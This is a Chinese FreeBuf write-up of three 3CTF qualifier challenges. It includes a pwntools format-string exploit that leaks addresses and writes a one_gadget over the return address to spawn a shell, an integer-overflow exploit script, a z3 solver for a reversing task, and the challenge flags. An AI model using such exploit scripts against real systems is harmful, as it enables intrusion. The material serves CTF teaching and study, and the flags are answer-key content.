freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

3CTF初赛题目详解(中)
2019-10-27 06:00:29
所属地 海外

5:I believe you can solve it.

题目类型:Pwn

解题思路

看标题知道与格式化字符串漏洞有关系,checksec一下32位程序,保护全开

053.jpg

难点在于:

1.限制了输入次数为3次,每次长度为16字节

2.格式化字符串在.bss段上

攻击思路主要是先突破输入次数限制,再寻找合适的跳板覆盖返回地址为one_gadget

054.jpg

Exp:

from pwn import *

context.log_level   = 'debug'

p = process('./fmt')

gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]

def HL(value):

    lis = []

    high = value >> 16

    low = value & 0xffff

    lis.append(low)

    lis.append(high)

    return lis

def input(payload):

    p.recvuntil("2. Exit")

    p.send('1')

    p.recvuntil("something")

    p.sendline(payload)

def exit():

    p.recvuntil("2. Exit")

    p.send('2')

## leak address

input("%5$p%12$p%15$p")

p.recvline()

leaked = p.recvline()

bin_base = int(leaked[2:10], 16) - 0x1fb8

stack_addr = int(leaked[12:20], 16)

var_addr = stack_addr - 0x2C + 0x3

target_addr = stack_addr - 0x4

libc_base = int(leaked[22:30],16) - 247 - 0x18540

shell_addr = libc_base + gadgets[1]

bp = bin_base + 0x81c

#gdb.attach(p,'b *' + str(hex(bp)))

log.info("binary_base address is %x" % bin_base)

log.info("stack address is %x" % stack_addr)

log.info("libc_base address is %x" % libc_base)

log.info("var address is %x" % var_addr)

log.info("target address is %x" % target_addr)

## Modify var i values

lis = HL(var_addr)

input("%" + str(lis[0])  + "c%21$hn")

input("%255d%57$hhn")

## Write one_gadget at ret_addr through the target_addr

lis = HL(target_addr)

input("%" + str(lis[0])  + "c%21$hn")

lis = HL(target_addr+2)

input("%" + str(lis[0])  + "d%22$hn")

lis = HL(shell_addr)

input("%" + str(lis[0])  + "c%57$hn")

input("%" + str(lis[1])  + "c%59$hn")

exit()

p.interactive()

答案:flag{79714683-d625efc2-c0c65bc2-5b5346f6}

6:你会360内的加减乘除吗?

题目类型:Pwn

解题思路

绕过两个判断就能拿到flag

(1)判断1:x1和y1都是有符号整数,令y1为负就可以绕过判断

考察点:整数范围

(2)判断2:int类型大小为4个字节,通过eax传递,只要两个数相乘等于0x100000168,超过其表示范围就可以绕过

Exp:

from pwn import *

#context.log_level = 'debug'

p = process("./pwn1")

#p = remote("localhost",12345)

if __name__=='__main__':

    p.recvuntil("x:")

    p.sendline(str(359))

    p.recvuntil("y:")

    p.sendline(str(2**32-1))

    p.recvuntil("Please input x and y:")

    #gdb.attach(p)

    p.sendline(str(0x0000000100000008)+" "+str(0x0000000100000168/8))

    p.interactive()

7:Here are some big nums.

题目类型:Reverse

解题思路

首先把程序丢进IDA中,根据字符串信息找到程序主流程

可以明显看出将输入的字符串分为两部分,每部分16字节并进入相应的check中

055.jpg

check1(考察SMC):

无法F5,代码也不具有逻辑性,查看函数列表发现有TLS回调,里面实现SMC解密,这里可以选择写个idc脚本,也可以直接用OD动态调试。解密后伪C代码如下:

056.jpg

主流程就是将字符串先按字节与“greatctf”异或,之后开始大数运算,先是自身平方,再是乘以“12345679”,最后与“667339003789000121539302795007135856775”相比较,流程比较简单,求逆即可得到前半段flag。

check2(考察z3):

057.jpg

给定了随机数种子,动态调试得到相应数值,利用Z3求解即可

Exp:

from z3 import *

import struct

s = [Int('serial%d' % i) for i in range(4)]

z3 = Solver()

v1 = 2

v2 = 11

v3 = 192

v4 = 31

z3.add(3*s[1]-1000*v1+s[0] == 6985912807)

z3.add(v3*s[2]-s[1]*v2 == 155893705628)

z3.add(s[2]*v4+(890+s[3])*v1 == 30549285333)

z3.add(v4*136*s[3]-v3*s[0] == 4612419708992)

print(z3.check())

answer=z3.model()

res = ""

for d in s:

    num = answer.eval(d).as_long()

    res += struct.pack('<L', num)

print(repr(res))

答案:PAPSETGQ_FRRBQLSsimpleRe__360CTF

如果你想展示你的CTF能力,我们提供给你机会,平台近期开始向社会征集CTF题目,题目类型不限制,奖励丰厚,有想法的大佬可以联系university@360.cn。


# 360 # 初赛 # 3CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者